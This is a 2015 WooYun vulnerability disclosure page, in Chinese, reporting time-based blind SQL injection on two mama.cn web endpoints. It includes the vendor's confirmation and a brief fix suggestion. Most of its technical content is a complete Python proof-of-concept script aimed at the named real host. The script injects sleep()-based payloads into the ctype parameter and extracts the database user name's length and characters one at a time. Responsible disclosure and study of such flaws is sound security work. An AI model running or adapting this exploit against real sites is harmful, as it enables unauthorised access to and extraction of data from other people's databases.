当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114342

漏洞标题:妈妈网某站mysql盲注(poc)

相关厂商:妈妈网

漏洞作者: 大懒

提交时间:2015-05-18 09:31

修复时间:2015-07-02 09:40

公开时间:2015-07-02 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-18: 细节已通知厂商并且等待厂商处理中
2015-05-18: 厂商已经确认,细节仅向厂商公开
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

妈妈网mysql盲注

详细说明:

URL:http://brandbase.mama.cn/yikexin.php?ctype=*&mod=growth&op=detail&pgcount=12&tid=1520677
POST参数: page=20
存在问题参数ctype:
sqlmap跑不出来这个点,借助 lijiejie的脚本修改了下,不想自己造轮子。
本来因该是两个的,还有一个是主站,由于换了个网络环境,访问不到该URL了,不过我记得部分是
当前用户开头是hr什么什么的,长度是36,
URL:http://www.mama.cn:80/photo/index.php?a=Search&d=index&g=Search&gotosearch=yes&keyword=*&num=25&page=1&searchtype=photo
存在问题参数是keyword,
poc:

# -*- coding: utf-8 -*-
#!/usr/bin/env python
#mysql_timebased.py
import httplib
import urllib
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0'}
payloads = 'abcdefghijklmnopqrstuvwxyz1234567890.@_*%'
def GetUlength():#获取当前用户长度
userlen = 0
for i in range(1,99):
err_count = 0
for j in range(3):
try:
s1 = "length(user())=%s" % i
s = "if("+s1+",sleep(3),0)/*'XOR(if(1,sleep(3),0))OR%22'XOR(if(1,sleep(3),0))OR%22*/"
url = '/yikexin.php?ctype=%s&mod=growth&op=detail&pgcount=12&tid=1520677' % s
body = "page=20"
conn = httplib.HTTPConnection('brandbase.mama.cn',timeout=3)
conn.request(method='POST',headers=headers,url=url,body=urllib.quote(body))
conn.getresponse()
conn.close()
print '*',
except:
err_count +=1
if err_count == 3:
userlen = i
break
return userlen
def GetUser(l):#获取当前用户名
user = ''
for i in range(1,l):
for payload in payloads:
err_count = 0
#print payload
for j in range(3):
try:
s1 = "ascii(mid(lower(user()),%s,1))=%s" % (i,ord(payload))
s = "if("+s1+",sleep(3),0)/*'XOR(if(1,sleep(3),0))OR%22'XOR(if(1,sleep(3),0))OR%22*/"
url = '/yikexin.php?ctype=%s&mod=growth&op=detail&pgcount=12&tid=1520677' % s
body = "page=20"
conn = httplib.HTTPConnection('brandbase.mama.cn',timeout=3)
conn.request(method='POST',headers=headers,url=url,body=urllib.quote(body))
conn.getresponse()
conn.close()
print '*',
except:
err_count +=1
if err_count == 3:
user += payload
print '\n[info]',user
break
return user

def main():
userlen = GetUlength()
print "user length:\n",userlen
current_user = GetUser(userlen)
print "\n CurrentUser is :",current_user
if __name__ == '__main__':
print 'mysql-timebased-sqlinjection:\n'
main()

漏洞证明:

1.jpg

修复方案:

过滤及结构化sql查询

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-18 09:38

厂商回复:

谢谢

最新状态:

暂无